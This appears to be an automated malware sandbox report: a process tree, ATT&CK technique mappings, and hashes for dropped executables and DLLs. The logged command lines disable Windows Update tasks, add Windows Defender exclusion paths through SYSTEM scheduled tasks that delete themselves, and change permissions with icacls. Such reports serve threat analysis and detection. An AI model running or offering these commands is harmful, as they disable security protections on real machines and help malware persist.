  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:564
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2040
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3760
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1076
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1268
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4264
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5560
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4856
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5708
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5672
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2448
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\NPEbwv.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1708
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\NPEbwv.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\NPEbwv.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3172
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\NPEbwv.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\NPEbwv.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4424
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\NPEbwv.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5836
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2752
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4248
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2884
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5420
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4304
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3832
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:5260
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2052
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5588
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3344
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:752
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2876
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3492
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4596
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2704
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3184
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\71zeHD\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:360
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\71zeHD\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2612

C:\Users\Public\M3GbhP\L7y6P0.exe
"C:\Users\Public\M3GbhP\L7y6P0.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4340

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4392

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\M3GbhP" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:424
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\M3GbhP" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5288

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1584
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4276

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2200
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2792

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1712

C:\Program Files (x86)\71zeHD\NPEbwv.exe
"C:\Program Files (x86)\71zeHD\NPEbwv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3132

C:\Program Files (x86)\OY8t51M\BznLb8t.exe
"C:\Program Files (x86)\OY8t51M\BznLb8t.exe"
1⤵
PID:3600

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3312
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:1112

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:484
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:5192

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4052
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3380

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4508
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:2124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

NPEbwv.exe

Path C:\Program Files (x86)\71zeHD\NPEbwv.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\71zeHD\XPSPLOG.dll
Size 4.6MB
SHA256 235b3683c677e4e4462c8740b90df5015132160ac1f1a0d85a5cccd5cff649d8
MD5 ba30675606196c553ee8ee618d2b81d0
SHA1 05f78b7f3c873d03e6dd5ba078e9e3e4e441d0ee
SHA512 a687e57412406935e4fb461f258668a4a48182deb247a1c8220df2e8ac319e6ce1f60998b9347a17a956cabb7f503436d376e27994fe4941048e68fd27ce8eed
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyK:BMWKfU+BcUTHCCCfqCiUffnK
TLSH
T12F263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\71zeHD\image.png
Size 5.0MB
SHA256 3a06aec214777dfd53898fe94dce0aaf77c17c671c0577b2c9027c520c33ce17
MD5 5b0a37de355dd946a762c2df4ecd2afe
SHA1 c7019829fca8d390450c7214697c30b799964e55
SHA512 e5f5943116750ae29bbd6e623b078c7c0373cef4ae4a44d137ec40955d89525b2ea1a7a8ac4d6e48463aa2832693dd34f48c92bc359d3a5070f8224f8674b93b
SSDEEP 98304:qFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:nRIUjDgAk+jkn/IXhVaK
TLSH
T1703633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\71zeHD\thumbs.db
Size 358KB
SHA256 47fd9d90503f87c550121deb282b3867a79f22799dc7c933b251b3052381d1ee
MD5 ef80cab9de9faed39d9271197de48422
SHA1 07da439c2394d36ce8f2ca4ec2e4271f15a8f4c0
SHA512 3582ad0ff059f95f52002b518be761ba009867a5ccf73ecb5271e633568d768e967fca77af6d26d96becd95de7c9926df5ba920d8c00d9697413be2611676a96
SSDEEP 6144:ziACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:G8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1F274F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\OY8t51M\XPSPLOG.dll
Size 4.6MB
SHA256 a39430d954e89e84ae09ca83600f759b81d5077683c48ddd0ce351b499939ddc
MD5 e941bd6328dde4ab456e0e04dab4e976
SHA1 024024e18c453042437332b1c46c26fb06f472e9
SHA512 c09d9320c15ca96091ce77203df6ec326230607ff63bfc54799eb1266c7b9c82ae92c56f7adb8292c35d41d73c9a15b3357e66c773ed6bd9e6399b7123d6cdcf
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyZ:BMWKfU+BcUTHCCCfqCiUffnZ
TLSH
T1F4263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\OY8t51M\image.png
Size 5.0MB
SHA256 b0fc8b6d93247ff7a4788c4822f4dd2154b4d3443d2de0a6a8e79d97d9233fdc
MD5 b9e80f40e82458eaadfaacad1d95cfeb
SHA1 d2e21c88fc6b08412037f367261e45a05c7c5612
SHA512 d2796fd5b9f17b7f0ca2fddb0e1f24c4fc6dd7f6cb631823df83e15aada6dff91aeddc33b64aaa7142b7096896f72ff82dafce53ffe8f4ffc07b1f574cdfa97c
SSDEEP 98304:pFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:uRIUjDgAk+jkn/IXhVaK
TLSH
T1EE3633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 f940bdf97563b4feda3fa186685affb41268b3ca1a96dbef2ae1f6c5555b6cbd
MD5 549c32941a84e730b40a6ae1d301643c
SHA1 3b91ee7f8322b302cf827a536732575bb434536f
SHA512 a3b88a5d5fdcd079bd3798cac6033b3c1ea0cf04fd664dbef3d6ba88faee57781650f64083fe5c15c552943c4d0c4cfd71890e898159ab20689ea8db52c73363
TLSH
T13021194E8EBAB8D0FF801E0222C5C63BBDE266C020BC14091239A4E655103D8BE6B90F
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 6307aea1320838f312f86007d5d0843e010c8a2abb2bd4b861afd29d425e4655
MD5 d7982d732c2dcc67b777426fcaf5ce7a
SHA1 8e1a2cfcab588a8cb4c9743e8b7dea73e40f1b60
SHA512 94b23a80e6b1cfcf7eea17864b323790daec642182082c79ede993c76b9ee917cf1ccc1f88f996745661c22999ca8fd9b1e21a49120efb0a8c3266a163bbca82
TLSH
T10221748B4B663167E352DC4A51C8FE3A2CF6AAD19188115CB00B83EA24113F69E0A129
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 3e1e1785a5ce14c3b4d996f118a1a22ed543fa488707902e71e8b68eb96c9fac
MD5 8fdea734427cd1d3624791f32c8fc848
SHA1 24ca4688a85d5720298b4ee033c6ba6957ebd725
SHA512 73152c9fd9e89102d9c835eca987385d7c4d5c879187776a2d941174d984985ae4d7f7343c560ed4f95e75223da56a8458ff44c59f8e88b9a6b97b8c77e62233
TLSH
T1E6F0DC2C1DBC503EF031DBB94FC83969863BEB1730000E7216E1870C6546D013C8163E
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 ee0b28704d521dcc6a57062f7b7f2564f1feff45534f06c4f2372fc6311f80f9
MD5 0ca2f451cedf0910b9260a6200cea80b
SHA1 8ef99bc5f0c6d4b65ae69e5dde3c3f5cd251ad66
SHA512 4c3957d859707e9e1dc6a2e012b594bd8a3bfe8635f1e0c87f8e44892958bbc3e3b977da886833fd269e3d107baed95a1de17ae372757b318dc8a9f3f2371c0e
TLSH
T17EF0AB24A7F4610AF137CBBC55E333F0A9ABBA13200409FE04A6435C6B53D116C82678
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 32234e2788b7b8152365d8857de89ee5a9fbcfd62ce91373847a61bf788d1c63
MD5 ba7a00804b949a51f5518c34507caee7
SHA1 137ea5a2d8a43c3766d383061cfc14eade095aef
SHA512 55bd85408bc2b0fde8598c05bffa2928c3b9bc5181a9f2a2254f561c9a3b46a809be0994b3f2d48add6c294da930158f3896139df2f96da7b596bd1ab75b0ce3
TLSH
T1ED216B33B3DD8624C89A413A10CDAC1036B6C7DB40DECFAB7B85D555A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0onatirc.4lj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0onatirc.4lj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

L7y6P0.exe

Path C:\Users\Public\M3GbhP\L7y6P0.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\M3GbhP\UxEnhance64.dll
Size 3.1MB
SHA256 d9722369d3c3fd6b4db7bf90b1d73fd0efe0c03c6dfb14f5a3de1a68dd9e7ac8
MD5 952c6b045cd4f71a3d7abef38d2d95c9
SHA1 bec13b2023d25a18bc1901556129d57a73629940
SHA512 c627424dd9eb1e3c67bf27206c1c6d92c73f48f0b56cb57d7dfe6821651ad288511ac622179c45eb03bf82482230c3f09613c062e859162e84636ecc3793ee1a
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+1:P9m29xx3Tiqt06ox6+z2rNNrKo1
TLSH
T1DCE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\M3GbhP\adoresd.dat
Size 4.7MB
SHA256 262c253b150af6337c1d8ae8a289e510dd1832f5c7582ab65f668ae11cf34fec
MD5 ec2f2180142c5a8f15fcc4a0af5a8712
SHA1 8b26ed2723ffea1fa92d49caa440af15af8b0017
SHA512 404317107ecdc727efdc8df963c15a4b31e8b4c9682343a528d2a2af9a12fde29565f61ac67de99f43dc38ced61a27f906884606ba6403a51010a9d4ad12c402
SSDEEP 98304:IKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:IKClqhi0Cv54K2IVS0VQg
TLSH
T11A3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\M3GbhP\msadox.tb
Size 8KB
